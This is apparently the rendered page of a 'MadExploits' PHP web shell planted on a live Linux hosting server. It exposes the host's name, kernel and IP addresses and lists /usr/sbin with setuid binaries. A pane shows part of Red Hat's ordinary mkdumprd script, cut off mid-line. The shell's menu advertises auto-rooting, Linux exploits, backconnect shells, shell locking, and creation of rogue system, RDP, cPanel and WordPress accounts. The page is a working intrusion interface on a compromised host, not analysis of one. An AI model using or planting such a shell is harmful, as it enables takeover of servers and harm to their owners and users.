Linux server1.sbs.cy 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
Apache
: 199.192.25.12 | : 108.162.216.118
28 Domain
8.1.31
administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
sbin /
[ HOME SHELL ]
Name
Size
Permission
Action
NetworkManager
3.59
MB
-rwxr-xr-x
accessdb
15.42
KB
-rwxr-xr-x
acpid
56.13
KB
-rwxr-xr-x
addgnupghome
3.01
KB
-rwxr-xr-x
addpart
15.34
KB
-rwxr-xr-x
adduser
138.02
KB
-rwxr-xr-x
agetty
56.9
KB
-rwxr-xr-x
alternatives
39.6
KB
-rwxr-xr-x
anacron
39.69
KB
-rwxr-xr-x
apachectl
4.52
KB
-rwxr-xr-x
applygnupgdefaults
2.17
KB
-rwxr-xr-x
arp
63.21
KB
-rwxr-xr-x
arpd
27.4
KB
-rwxr-xr-x
arping
27.42
KB
-rwxr-xr-x
arptables
231.4
KB
-rwxr-xr-x
arptables-nft
231.4
KB
-rwxr-xr-x
arptables-nft-restore
231.4
KB
-rwxr-xr-x
arptables-nft-save
231.4
KB
-rwxr-xr-x
arptables-restore
231.4
KB
-rwxr-xr-x
arptables-save
231.4
KB
-rwxr-xr-x
atd
31.91
KB
-rwxr-xr-x
atrun
70
B
-rwxr-xr-x
auditctl
51.77
KB
-rwxr-xr-x
auditd
137.26
KB
-rwxr-xr-x
augenrules
4.05
KB
-rwxr-xr-x
aureport
120.53
KB
-rwxr-xr-x
ausearch
120.47
KB
-rwxr-xr-x
autrace
19.37
KB
-rwxr-x---
avcstat
15.17
KB
-rwxr-xr-x
badblocks
35.35
KB
-rwxr-xr-x
blkdeactivate
15.97
KB
-r-xr-xr-x
blkdiscard
23.39
KB
-rwxr-xr-x
blkid
51.8
KB
-rwxr-xr-x
blkmapd
39.61
KB
-rwxr-xr-x
blkzone
35.65
KB
-rwxr-xr-x
blockdev
31.61
KB
-rwxr-xr-x
bridge
114.78
KB
-rwxr-xr-x
capsh
31.21
KB
-rwxr-xr-x
cfdisk
96.55
KB
-rwxr-xr-x
chcpu
31.63
KB
-rwxr-xr-x
chgpasswd
59.95
KB
-rwxr-xr-x
chkconfig
43.78
KB
-rwxr-xr-x
chpasswd
55.81
KB
-rwxr-xr-x
chronyd
361.62
KB
-rwxr-xr-x
chroot
39.73
KB
-rwxr-xr-x
clock
59.96
KB
-rwxr-xr-x
consoletype
15.3
KB
-rwxr-xr-x
convertquota
69.03
KB
-rwxr-xr-x
cracklib-check
15.7
KB
-rwxr-xr-x
cracklib-format
255
B
-rwxr-xr-x
cracklib-packer
15.7
KB
-rwxr-xr-x
cracklib-unpacker
15.69
KB
-rwxr-xr-x
create-cracklib-dict
994
B
-rwxr-xr-x
crond
76.34
KB
-rwxr-xr-x
csf
245.1
KB
-rwx------
ctrlaltdel
15.39
KB
-rwxr-xr-x
ctstat
23.71
KB
-rwxr-xr-x
dcb
86.59
KB
-rwxr-xr-x
ddns-confgen
27.45
KB
-rwxr-xr-x
debugfs
233.02
KB
-rwxr-xr-x
delpart
15.31
KB
-rwxr-xr-x
depmod
165.76
KB
-rwxr-xr-x
devlink
161.81
KB
-rwxr-xr-x
dmfilemapd
23.49
KB
-r-xr-xr-x
dmsetup
156.96
KB
-r-xr-xr-x
dmstats
156.96
KB
-r-xr-xr-x
dnssec-cds
47.87
KB
-rwxr-xr-x
dnssec-checkds
924
B
-rwxr-xr-x
dnssec-coverage
926
B
-rwxr-xr-x
dnssec-dsfromkey
39.63
KB
-rwxr-xr-x
dnssec-importkey
35.63
KB
-rwxr-xr-x
dnssec-keyfromlabel
39.62
KB
-rwxr-xr-x
dnssec-keygen
47.63
KB
-rwxr-xr-x
dnssec-keymgr
922
B
-rwxr-xr-x
dnssec-revoke
31.61
KB
-rwxr-xr-x
dnssec-settime
47.63
KB
-rwxr-xr-x
dnssec-signzone
96.08
KB
-rwxr-xr-x
dnssec-verify
31.63
KB
-rwxr-xr-x
dovecot
124.94
KB
-rwxr-xr-x
dovecot_cpshutdown
3.27
KB
-rwxr-xr-x
dumpe2fs
31.29
KB
-rwxr-xr-x
e2freefrag
15.19
KB
-rwxr-xr-x
e2fsck
356.03
KB
-rwxr-xr-x
e2image
43.41
KB
-rwxr-xr-x
e2label
104.46
KB
-rwxr-xr-x
e2mmpstatus
31.29
KB
-rwxr-xr-x
e2undo
23.16
KB
-rwxr-xr-x
e4crypt
31.3
KB
-rwxr-xr-x
e4defrag
31.25
KB
-rwxr-xr-x
ebtables
231.4
KB
-rwxr-xr-x
ebtables-nft
231.4
KB
-rwxr-xr-x
ebtables-nft-restore
231.4
KB
-rwxr-xr-x
ebtables-nft-save
231.4
KB
-rwxr-xr-x
ebtables-restore
231.4
KB
-rwxr-xr-x
ebtables-save
231.4
KB
-rwxr-xr-x
ebtables-translate
231.4
KB
-rwxr-xr-x
edquota
89.5
KB
-rwxr-xr-x
ether-wake
50.24
KB
-rwxr-xr-x
ethtool
612.05
KB
-rwxr-xr-x
exicyclog
11.1
KB
-rwxr-xr-x
exigrep
10.52
KB
-rwxr-xr-x
exim
1.51
MB
-rwsr-xr-x
exim_checkaccess
4.83
KB
-rwxr-xr-x
exim_dbmbuild
29.2
KB
-rwxr-xr-x
exim_dumpdb
30.48
KB
-rwxr-xr-x
exim_fixdb
39.05
KB
-rwxr-xr-x
exim_lock
29.46
KB
-rwxr-xr-x
exim_tidydb
30.51
KB
-rwxr-xr-x
eximstats
148.26
KB
-rwxr-xr-x
exinext
7.13
KB
-rwxr-xr-x
exiqgrep
5.66
KB
-rwxr-xr-x
exiqsumm
5.31
KB
-rwxr-xr-x
exiwhat
4.42
KB
-rwxr-xr-x
exportfs
68.66
KB
-rwxr-xr-x
faillock
23.36
KB
-rwxr-xr-x
fcgistarter
24.71
KB
-rwxr-xr-x
fdformat
23.38
KB
-rwxr-xr-x
fdisk
112.23
KB
-rwxr-xr-x
filefrag
19.22
KB
-rwxr-xr-x
findfs
15.35
KB
-rwxr-xr-x
firewalld
9.75
KB
-rwxr-xr-x
fix-info-dir
7.85
KB
-rwxr-xr-x
fixfiles
12.13
KB
-rwxr-xr-x
fsck
43.75
KB
-rwxr-xr-x
fsck.cramfs
31.57
KB
-rwxr-xr-x
fsck.ext2
356.03
KB
-rwxr-xr-x
fsck.ext3
356.03
KB
-rwxr-xr-x
fsck.ext4
356.03
KB
-rwxr-xr-x
fsck.minix
55.9
KB
-rwxr-xr-x
fsck.xfs
2.54
KB
-rwxr-xr-x
fsfreeze
15.34
KB
-rwxr-xr-x
fstrim
43.69
KB
-rwxr-xr-x
fuser
41.09
KB
-rwxr-xr-x
g13-syshelp
88.6
KB
-rwxr-xr-x
genhomedircon
32.16
KB
-rwxr-xr-x
genhostid
15.3
KB
-rwxr-xr-x
genl
124.11
KB
-rwxr-xr-x
getcap
15.13
KB
-rwxr-xr-x
getenforce
15.1
KB
-rwxr-xr-x
getpcaps
15.12
KB
-rwxr-xr-x
getpidprevcon
15.11
KB
-rwxr-xr-x
getpolicyload
15.11
KB
-rwxr-xr-x
getsebool
15.13
KB
-rwxr-xr-x
groupadd
68.93
KB
-rwxr-xr-x
groupdel
64.7
KB
-rwxr-xr-x
groupmems
55.95
KB
-rwxr-xr-x
groupmod
72.92
KB
-rwxr-xr-x
grpck
59.93
KB
-rwxr-xr-x
grpconv
51.73
KB
-rwxr-xr-x
grpunconv
51.7
KB
-rwxr-xr-x
grub2-bios-setup
1.33
MB
-rwxr-xr-x
grub2-get-kernel-settings
2.68
KB
-rwxr-xr-x
grub2-install
1.63
MB
-rwxr-xr-x
grub2-macbless
1.31
MB
-rwxr-xr-x
grub2-mkconfig
9.21
KB
-rwxr-xr-x
grub2-probe
1.33
MB
-rwxr-xr-x
grub2-reboot
4.7
KB
-rwxr-xr-x
grub2-set-bootflag
15.24
KB
-rwsr-xr-x
grub2-set-default
3.46
KB
-rwxr-xr-x
grub2-set-password
2.74
KB
-rwxr-xr-x
grub2-setpassword
2.74
KB
-rwxr-xr-x
grub2-switch-to-blscfg
8.81
KB
-rwxr-xr-x
grubby
260
B
-rwxr-xr-x
gssproxy
124.89
KB
-rwxr-xr-x
halt
298.59
KB
-rwxr-xr-x
htcacheclean
52.8
KB
-rwxr-xr-x
httpd
1.08
MB
-rwxr-xr-x
hwclock
59.96
KB
-rwxr-xr-x
iconvconfig
31.93
KB
-rwxr-xr-x
ifconfig
78.98
KB
-rwxr-xr-x
ifenslave
23.91
KB
-rwxr-xr-x
ifstat
39.72
KB
-rwxr-xr-x
imunify-notifier
9.86
MB
-rwxr-xr-x
init
95.93
KB
-rwxr-xr-x
insmod
165.76
KB
-rwxr-xr-x
install-info
106.7
KB
-rwxr-xr-x
installkernel
323
B
-rwxr-xr-x
intel_sdsi
22.43
KB
-rwxr-xr-x
ip
755.99
KB
-rwxr-xr-x
ip6tables
231.4
KB
-rwxr-xr-x
ip6tables-nft
231.4
KB
-rwxr-xr-x
ip6tables-nft-restore
231.4
KB
-rwxr-xr-x
ip6tables-nft-save
231.4
KB
-rwxr-xr-x
ip6tables-restore
231.4
KB
-rwxr-xr-x
ip6tables-restore-translate
231.4
KB
-rwxr-xr-x
ip6tables-save
231.4
KB
-rwxr-xr-x
ip6tables-translate
231.4
KB
-rwxr-xr-x
ipmaddr
19.45
KB
-rwxr-xr-x
ipset
15.09
KB
-rwxr-xr-x
ipset-translate
15.09
KB
-rwxr-xr-x
iptables
231.4
KB
-rwxr-xr-x
iptables-nft
231.4
KB
-rwxr-xr-x
iptables-nft-restore
231.4
KB
-rwxr-xr-x
iptables-nft-save
231.4
KB
-rwxr-xr-x
iptables-restore
231.4
KB
-rwxr-xr-x
iptables-restore-translate
231.4
KB
-rwxr-xr-x
iptables-save
231.4
KB
-rwxr-xr-x
iptables-translate
231.4
KB
-rwxr-xr-x
iptunnel
19.5
KB
-rwxr-xr-x
irqbalance
60.59
KB
-rwxr-xr-x
irqbalance-ui
39.79
KB
-rwxr-xr-x
kacpimon
19.26
KB
-rwxr-xr-x
kexec
188.76
KB
-rwxr-xr-x
key.dns_resolver
31.35
KB
-rwxr-xr-x
kpartx
47.72
KB
-rwxr-xr-x
lchage
23.37
KB
-rwxr-xr-x
ldattach
27.41
KB
-rwxr-xr-x
ldconfig
1.12
MB
-rwxr-xr-x
lfd
382.42
KB
-rwx------
lgroupadd
15.31
KB
-rwxr-xr-x
lgroupdel
15.31
KB
-rwxr-xr-x
lgroupmod
23.32
KB
-rwxr-xr-x
lid
19.33
KB
-rwxr-xr-x
lnewusers
23.31
KB
-rwxr-xr-x
lnstat
23.71
KB
-rwxr-xr-x
load_policy
15.24
KB
-rwxr-xr-x
logrotate
99.65
KB
-rwxr-xr-x
logsave
15.19
KB
-rwxr-xr-x
losetup
72.27
KB
-rwxr-xr-x
lpasswd
23.32
KB
-rwxr-xr-x
lshw
849.57
KB
-rwxr-xr-x
lsmod
165.76
KB
-rwxr-xr-x
luseradd
23.33
KB
-rwxr-xr-x
luserdel
15.31
KB
-rwxr-xr-x
lusermod
23.31
KB
-rwxr-xr-x
makedumpfile
428.03
KB
-rwxr-xr-x
mariadbd
24.56
MB
-rwxr-xr-x
matchpathcon
15.14
KB
-rwxr-xr-x
mii-diag
24.2
KB
-rwxr-xr-x
mii-tool
27.78
KB
-rwxr-xr-x
mkdict
255
B
-rwxr-xr-x
mkdumprd
12.17
KB
-rwxr-xr-x
mke2fs
132.53
KB
-rwxr-xr-x
mkfs
15.36
KB
-rwxr-xr-x
mkfs.cramfs
35.57
KB
-rwxr-xr-x
mkfs.ext2
132.53
KB
-rwxr-xr-x
mkfs.ext3
132.53
KB
-rwxr-xr-x
mkfs.ext4
132.53
KB
-rwxr-xr-x
mkfs.minix
43.75
KB
-rwxr-xr-x
mkfs.xfs
450.98
KB
-rwxr-xr-x
mkhomedir_helper
23.38
KB
-rwxr-xr-x
mklost+found
15.12
KB
-rwxr-xr-x
mksquashfs
197.62
KB
-rwxr-xr-x
mkswap
47.7
KB
-rwxr-xr-x
modinfo
165.76
KB
-rwxr-xr-x
modprobe
165.76
KB
-rwxr-xr-x
modsec-sdbm-util
33.56
KB
-rwxr-x---
mount.fuse
15.36
KB
-rwxr-xr-x
mount.nfs
98.45
KB
-rwsr-xr-x
mount.nfs4
98.45
KB
-rwsr-xr-x
mountstats
42.19
KB
-rwxr-xr-x
mysqld
24.56
MB
-rwxr-xr-x
named
545.2
KB
-rwxr-xr-x
named-checkconf
39.59
KB
-rwxr-xr-x
named-checkzone
39.55
KB
-rwxr-xr-x
named-compilezone
39.55
KB
-rwxr-xr-x
named-journalprint
15.34
KB
-rwxr-xr-x
named-nzd2nzf
15.3
KB
-rwxr-xr-x
nameif
15.58
KB
-rwxr-xr-x
newusers
88.86
KB
-rwxr-xr-x
nfsconf
40.05
KB
-rwxr-xr-x
nfsdcld
56.05
KB
-rwxr-xr-x
nfsdclddb
9.99
KB
-rwxr-xr-x
nfsdclnts
9.05
KB
-rwxr-xr-x
nfsdcltrack
40.11
KB
-rwxr-xr-x
nfsidmap
23.48
KB
-rwxr-xr-x
nfsiostat
24.41
KB
-rwxr-xr-x
nfsref
43.71
KB
-rwxr-xr-x
nfsstat
38.46
KB
-rwxr-xr-x
nft
27.38
KB
-rwxr-xr-x
nologin
15.36
KB
-rwxr-xr-x
nscd
163.36
KB
-rwxr-xr-x
nsec3hash
15.38
KB
-rwxr-xr-x
nstat
31.43
KB
-rwxr-xr-x
packer
15.7
KB
-rwxr-xr-x
pam_console_apply
43.69
KB
-rwxr-xr-x
pam_namespace_helper
471
B
-rwxr-xr-x
pam_timestamp_check
15.3
KB
-rwsr-xr-x
paperconfig
4.08
KB
-rwxr-xr-x
parted
97.31
KB
-rwxr-xr-x
partprobe
16.19
KB
-rwxr-xr-x
partx
59.96
KB
-rwxr-xr-x
pdns_server
5.89
MB
-rwxr-xr-x
pidof
23.33
KB
-rwxr-xr-x
ping
76.66
KB
-rwxr-xr-x
ping6
76.66
KB
-rwxr-xr-x
pivot_root
15.35
KB
-rwxr-xr-x
plipconfig
15.35
KB
-rwxr-xr-x
poweroff
298.59
KB
-rwxr-xr-x
pure-authd
22.85
KB
-rwxr-xr-x
pure-certd
22.76
KB
-rwxr-xr-x
pure-config.pl
4.64
KB
-rwxr-xr-x
pure-ftpd
176.96
KB
-rwxr-xr-x
pure-ftpwho
26.41
KB
-rwxr-xr-x
pure-mrtginfo
14.38
KB
-rwxr-xr-x
pure-quotacheck
22.4
KB
-rwxr-xr-x
pure-uploadscript
22.66
KB
-rwxr-xr-x
pwck
55.77
KB
-rwxr-xr-x
pwconv
47.62
KB
-rwxr-xr-x
pwhistory_helper
19.37
KB
-rwxr-xr-x
pwunconv
47.58
KB
-rwxr-xr-x
quotacheck
93.63
KB
-rwxr-xr-x
quotaoff
56.69
KB
-rwxr-xr-x
quotaon
56.69
KB
-rwxr-xr-x
quotastats
15.37
KB
-rwxr-xr-x
rdisc
31.54
KB
-rwxr-xr-x
rdma
105.01
KB
-rwxr-xr-x
readprofile
23.45
KB
-rwxr-xr-x
reboot
298.59
KB
-rwxr-xr-x
repquota
77.58
KB
-rwxr-xr-x
request-key
27.29
KB
-rwxr-xr-x
resize2fs
67.62
KB
-rwxr-xr-x
resizepart
23.59
KB
-rwxr-xr-x
restorecon
23.3
KB
-rwxr-xr-x
restorecon_xattr
15.25
KB
-rwxr-xr-x
rfkill
31.55
KB
-rwxr-xr-x
rmmod
165.76
KB
-rwxr-xr-x
rndc
43.45
KB
-rwxr-xr-x
rndc-confgen
23.45
KB
-rwxr-xr-x
rotatelogs
38.13
KB
-rwxr-xr-x
route
65.77
KB
-rwxr-xr-x
rpc.gssd
88.33
KB
-rwxr-xr-x
rpc.idmapd
47.94
KB
-rwxr-xr-x
rpc.mountd
132.68
KB
-rwxr-xr-x
rpc.nfsd
40.2
KB
-rwxr-xr-x
rpc.statd
80.98
KB
-rwxr-xr-x
rpcbind
59.89
KB
-rwxr-xr-x
rpcctl
9.42
KB
-rwxr-xr-x
rpcdebug
18.8
KB
-rwxr-xr-x
rpcinfo
35.58
KB
-rwxr-xr-x
rsyslogd
781.55
KB
-rwxr-xr-x
rtacct
25.43
KB
-rwxr-xr-x
rtcwake
35.45
KB
-rwxr-xr-x
rtkitctl
15.24
KB
-rwxr-xr-x
rtmon
124.03
KB
-rwxr-xr-x
rtstat
23.71
KB
-rwxr-xr-x
runlevel
298.59
KB
-rwxr-xr-x
runq
1.51
MB
-rwsr-xr-x
runuser
55.8
KB
-rwxr-xr-x
sasldblistusers2
15.27
KB
-rwxr-xr-x
saslpasswd2
15.24
KB
-rwxr-xr-x
sefcontext_compile
72.2
KB
-rwxr-xr-x
selabel_digest
15.14
KB
-rwxr-xr-x
selabel_get_digests_all_partia...
15.15
KB
-rwxr-xr-x
selabel_lookup
15.13
KB
-rwxr-xr-x
selabel_lookup_best_match
15.13
KB
-rwxr-xr-x
selabel_partial_match
15.13
KB
-rwxr-xr-x
selinux_check_access
15.14
KB
-rwxr-xr-x
selinuxconlist
15.13
KB
-rwxr-xr-x
selinuxdefcon
15.13
KB
-rwxr-xr-x
selinuxenabled
15.1
KB
-rwxr-xr-x
selinuxexeccon
15.12
KB
-rwxr-xr-x
semanage
40.64
KB
-rwxr-xr-x
semodule
32.16
KB
-rwxr-xr-x
sendmail
24.75
KB
-rwxr-sr-x
service
4.51
KB
-rwxr-xr-x
sestatus
23.25
KB
-rwxr-xr-x
setcap
15.13
KB
-rwxr-xr-x
setenforce
15.12
KB
-rwxr-xr-x
setfiles
23.3
KB
-rwxr-xr-x
setquota
81.6
KB
-rwxr-xr-x
setsebool
19.27
KB
-rwxr-xr-x
sfdisk
104.17
KB
-rwxr-xr-x
showmount
15.66
KB
-rwxr-xr-x
shutdown
298.59
KB
-rwxr-xr-x
slattach
37.57
KB
-rwxr-xr-x
sm-notify
51.95
KB
-rwxr-xr-x
smartctl
853.95
KB
-rwxr-xr-x
smartd
615.6
KB
-rwxr-xr-x
snmpd
35.41
KB
-rwxr-xr-x
snmptrapd
35.52
KB
-rwxr-xr-x
ss
127.35
KB
-rwxr-xr-x
sshd
946.23
KB
-rwxr-xr-x
sss_cache
35.42
KB
-rwxr-xr-x
sssd
71.8
KB
-rwxr-xr-x
start-statd
1
KB
-rwxr-xr-x
start-stop-daemon
48.83
KB
-rwxr-xr-x
suexec
37.6
KB
-rwsr-xr-x
sulogin
43.6
KB
-rwxr-xr-x
sw-engine-fpm
24.4
MB
-rwxr-xr-x
swaplabel
19.38
KB
-rwxr-xr-x
swapoff
23.45
KB
-rwxr-xr-x
swapon
43.51
KB
-rwxr-xr-x
switch_root
23.39
KB
-rwxr-xr-x
sysctl
31.49
KB
-rwxr-xr-x
tc
630.3
KB
-rwxr-xr-x
telinit
298.59
KB
-rwxr-xr-x
tipc
88.9
KB
-rwxr-xr-x
tmpwatch
36.03
KB
-rwxr-xr-x
tracepath
19.39
KB
-rwxr-xr-x
tracepath6
19.39
KB
-rwxr-xr-x
tsig-keygen
27.45
KB
-rwxr-xr-x
tune2fs
104.46
KB
-rwxr-xr-x
udevadm
583.98
KB
-rwxr-xr-x
umount.nfs
98.45
KB
-rwsr-xr-x
umount.nfs4
98.45
KB
-rwsr-xr-x
unix_chkpwd
23.45
KB
-rwsr-xr-x
unix_update
31.49
KB
-rwx------
unsquashfs
113.8
KB
-rwxr-xr-x
update-alternatives
39.6
KB
-rwxr-xr-x
update-smart-drivedb
23.33
KB
-rwxr-xr-x
useradd
138.02
KB
-rwxr-xr-x
userdel
89
KB
-rwxr-xr-x
usermod
129.84
KB
-rwxr-xr-x
validatetrans
15.12
KB
-rwxr-xr-x
vdpa
35.95
KB
-rwxr-xr-x
vigr
58.33
KB
-rwxr-xr-x
vipw
58.33
KB
-rwxr-xr-x
visudo
220.85
KB
-rwxr-xr-x
vmcore-dmesg
27.47
KB
-rwxr-xr-x
weak-modules
33.55
KB
-rwxr-xr-x
whmapi0
3.15
MB
-rwxr-xr-x
whmapi1
3.15
MB
-rwxr-xr-x
whmlogin
2.33
KB
-rwxr-xr-x
wipefs
39.48
KB
-rwxr-xr-x
xfs_admin
2.13
KB
-rwxr-xr-x
xfs_bmap
699
B
-rwxr-xr-x
xfs_copy
92.82
KB
-rwxr-xr-x
xfs_db
708.3
KB
-rwxr-xr-x
xfs_estimate
15.36
KB
-rwxr-xr-x
xfs_freeze
804
B
-rwxr-xr-x
xfs_fsr
43.71
KB
-rwxr-xr-x
xfs_growfs
43.83
KB
-rwxr-xr-x
xfs_info
1.27
KB
-rwxr-xr-x
xfs_io
202.79
KB
-rwxr-xr-x
xfs_logprint
88.46
KB
-rwxr-xr-x
xfs_mdrestore
27.48
KB
-rwxr-xr-x
xfs_metadump
786
B
-rwxr-xr-x
xfs_mkfile
1.02
KB
-rwxr-xr-x
xfs_ncheck
689
B
-rwxr-xr-x
xfs_quota
92.29
KB
-rwxr-xr-x
xfs_repair
686.43
KB
-rwxr-xr-x
xfs_rtcp
19.34
KB
-rwxr-xr-x
xfs_spaceman
43.97
KB
-rwxr-xr-x
xqmstats
15.34
KB
-rwxr-xr-x
xtables-monitor
231.4
KB
-rwxr-xr-x
xtables-nft-multi
231.4
KB
-rwxr-xr-x
zic
59.81
KB
-rwxr-xr-x
zramctl
56.05
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mkdumprd
#!/usr/bin/bash --norc # New mkdumprd # # Copyright 2011 Red Hat, Inc. # # Written by Cong Wang <amwang@redhat.com> # if [[ -f /etc/sysconfig/kdump ]]; then . /etc/sysconfig/kdump fi [[ $dracutbasedir ]] || dracutbasedir=/usr/lib/dracut . $dracutbasedir/dracut-functions.sh . /lib/kdump/kdump-lib.sh . /lib/kdump/kdump-logger.sh export IN_KDUMP=1 #initiate the kdump logger if ! dlog_init; then echo "failed to initiate the kdump logger." exit 1 fi SSH_KEY_LOCATION="/root/.ssh/kdump_id_rsa" SAVE_PATH=$(get_save_path) OVERRIDE_RESETTABLE=0 extra_modules="" dracut_args=(--add kdumpbase --quiet --hostonly --hostonly-cmdline --hostonly-i18n --hostonly-mode strict --hostonly-nics '' -o "plymouth resume ifcfg earlykdump") MKDUMPRD_TMPDIR="$(mktemp -d -t mkdumprd.XXXXXX)" [ -d "$MKDUMPRD_TMPDIR" ] || perror_exit "dracut: mktemp -p -d -t dracut.XXXXXX failed." MKDUMPRD_TMPMNT="$MKDUMPRD_TMPDIR/target" trap ' ret=$?; is_mounted $MKDUMPRD_TMPMNT && umount -f $MKDUMPRD_TMPMNT; [[ -d $MKDUMPRD_TMPDIR ]] && rm --one-file-system -rf -- "$MKDUMPRD_TMPDIR"; exit $ret; ' EXIT # clean up after ourselves no matter how we die. trap 'exit 1;' SIGINT add_dracut_arg() { dracut_args+=("$@") } add_dracut_mount() { add_dracut_arg "--mount" "$1" } add_dracut_sshkey() { add_dracut_arg "--sshkey" "$1" } # caller should ensure $1 is valid and mounted in 1st kernel to_mount() { local _target=$1 _fstype=$2 _options=$3 _sed_cmd _new_mntpoint _pdev _new_mntpoint=$(get_kdump_mntpoint_from_target "$_target") _fstype="${_fstype:-$(get_fs_type_from_target "$_target")}" _options="${_options:-$(get_mntopt_from_target "$_target")}" _options="${_options:-defaults}" if [[ $_fstype == "nfs"* ]]; then _pdev=$_target _sed_cmd+='s/,\(mount\)\?addr=[^,]*//g;' _sed_cmd+='s/,\(mount\)\?proto=[^,]*//g;' _sed_cmd+='s/,clientaddr=[^,]*//;' else # for non-nfs _target converting to use udev persistent name _pdev="$(kdump_get_persistent_dev "$_target")" if [[ -z $_pdev ]]; then return 1 fi fi # mount fs target as rw in 2nd kernel _sed_cmd+='s/\(^\|,\)ro\($\|,\)/\1rw\2/g;' # with 'noauto' in fstab nfs and non-root disk mount will fail in 2nd # kernel, filter it out here. _sed_cmd+='s/\(^\|,\)noauto\($\|,\)/\1/g;' # drop nofail or nobootwait _sed_cmd+='s/\(^\|,\)nofail\($\|,\)/\1/g;' _sed_cmd+='s/\(^\|,\)nobootwait\($\|,\)/\1/g;' _options=$(echo "$_options" | sed "$_sed_cmd") echo "$_pdev $_new_mntpoint $_fstype $_options" } #Function: get_ssh_size #$1=dump target #called from while loop and shouldn't read from stdin, so we're using "ssh -n" get_ssh_size() { local _out local _opt=("-i" "$SSH_KEY_LOCATION" "-o" "BatchMode=yes" "-o" "StrictHostKeyChecking=yes") if ! _out=$(ssh -q -n "${_opt[@]}" "$1" "df" "--output=avail" "$SAVE_PATH"); then perror_exit "checking remote ssh server available size failed." fi echo -n "$_out" | tail -1 } #mkdir if save path does not exist on ssh dump target #$1=ssh dump target #caller should ensure write permission on $1:$SAVE_PATH #called from while loop and shouldn't read from stdin, so we're using "ssh -n" mkdir_save_path_ssh() { local _opt _dir _opt=(-i "$SSH_KEY_LOCATION" -o BatchMode=yes -o StrictHostKeyChecking=yes) ssh -qn "${_opt[@]}" "$1" mkdir -p "$SAVE_PATH" &> /dev/null || perror_exit "mkdir failed on $1:$SAVE_PATH" # check whether user has write permission on $1:$SAVE_PATH _dir=$(ssh -qn "${_opt[@]}" "$1" mktemp -dqp "$SAVE_PATH" 2> /dev/null) || perror_exit "Could not create temporary directory on $1:$SAVE_PATH. Make sure user has write permission on destination" ssh -qn "${_opt[@]}" "$1" rmdir "$_dir" return 0 } #Function: get_fs_size #$1=dump target get_fs_size() { df --output=avail "$(get_mntpoint_from_target "$1")/$SAVE_PATH" | tail -1 } #Function: get_raw_size #$1=dump target get_raw_size() { fdisk -s "$1" } #Function: check_size #$1: dump type string ('raw', 'fs', 'ssh') #$2: dump target check_size() { local avail memtotal memtotal=$(awk '/MemTotal/{print $2}' /proc/meminfo) case "$1" in raw) avail=$(get_raw_size "$2") ;; ssh) avail=$(get_ssh_size "$2") ;; fs) avail=$(get_fs_size "$2") ;; *) return ;; esac || perror_exit "Check dump target size failed" if [[ $avail -lt $memtotal ]]; then dwarn "Warning: There might not be enough space to save a vmcore." dwarn " The size of $2 should be greater than $memtotal kilo bytes." fi } check_save_path_fs() { local _path=$1 if [[ ! -d $_path ]]; then perror_exit "Dump path $_path does not exist." fi } mount_failure() { local _target=$1 local _mnt=$2 local _fstype=$3 local msg="Failed to mount $_target" if [[ -n $_mnt ]]; then msg="$msg on $_mnt" fi msg="$msg for kdump preflight check." if [[ $_fstype == "nfs" ]]; then msg="$msg Please make sure nfs-utils has been installed." fi perror_exit "$msg" } check_user_configured_target() { local _target=$1 _cfg_fs_type=$2 _mounted local _mnt _opt _fstype _mnt=$(get_mntpoint_from_target "$_target") _opt=$(get_mntopt_from_target "$_target") _fstype=$(get_fs_type_from_target "$_target") if [[ -n $_fstype ]]; then # In case of nfs4, nfs should be used instead, nfs* options is deprecated in kdump.conf [[ $_fstype == "nfs"* ]] && _fstype=nfs if [[ -n $_cfg_fs_type ]] && [[ $_fstype != "$_cfg_fs_type" ]]; then perror_exit "\"$_target\" have a wrong type config \"$_cfg_fs_type\", expected \"$_fstype\"" fi else _fstype="$_cfg_fs_type" _fstype="$_cfg_fs_type" fi # For noauto mount, mount it inplace with default value. # Else use the temporary target directory if [[ -n $_mnt ]]; then if ! is_mounted "$_mnt"; then if [[ $_opt == *",noauto"* ]]; then mount "$_mnt" || mount_failure "$_target" "$_mnt" "$_fstype" _mounted=$_mnt else perror_exit "Dump target \"$_target\" is neither mounted nor configured as \"noauto\"" fi fi else _mnt=$MKDUMPRD_TMPMNT mkdir -p "$_mnt" mount "$_target" "$_mnt" -t "$_fstype" -o defaults || mount_failure "$_target" "" "$_fstype" _mounted=$_mnt fi # For user configured target, use $SAVE_PATH as the dump path within the target if [[ ! -d "$_mnt/$SAVE_PATH" ]]; then perror_exit "Dump path \"$SAVE_PATH\" does not exist in dump target \"$_target\"" fi check_size fs "$_target" # Unmount it early, if function is interrupted and didn't reach here, the shell trap will clear it up anyway if [[ -n $_mounted ]]; then umount -f -- "$_mounted" fi } # $1: core_collector config value verify_core_collector() { local _cmd="${1%% *}" local _params="${1#${_cmd}}" if [[ $_cmd != "makedumpfile" ]]; then if is_raw_dump_target; then dwarn "Warning: specifying a non-makedumpfile core collector, you will have to recover the vmcore manually." fi return fi if is_ssh_dump_target || is_raw_dump_target; then if ! strstr "$_params" "-F"; then perror_exit 'The specified dump target needs makedumpfile "-F" option.' fi _params="$_params vmcore" else _params="$_params vmcore dumpfile" fi # shellcheck disable=SC2086 if ! $_cmd --check-params $_params; then perror_exit "makedumpfile parameter check failed." fi } add_mount() { local _mnt _mnt=$(to_mount "$@") || exit 1 add_dracut_mount "$_mnt" } #handle the case user does not specify the dump target explicitly handle_default_dump_target() { local _target local _mntpoint is_user_configured_dump_target && return check_save_path_fs "$SAVE_PATH" _save_path=$(get_bind_mount_source "$SAVE_PATH") _target=$(get_target_from_path "$_save_path") _mntpoint=$(get_mntpoint_from_target "$_target") SAVE_PATH=${_save_path##"$_mntpoint"} add_mount "$_target" check_size fs "$_target" } # $1: function name for_each_block_target() { local dev majmin for dev in $(get_kdump_targets); do [[ -b $dev ]] || continue majmin=$(get_maj_min "$dev") check_block_and_slaves "$1" "$majmin" && return 1 done return 0 } #judge if a specific device with $1 is unresettable #return false if unresettable. is_unresettable() { local path device resettable=1 path="/sys/$(udevadm info --query=all --path="/sys/dev/block/$1" | awk '/^P:/ {print $2}' | sed -e 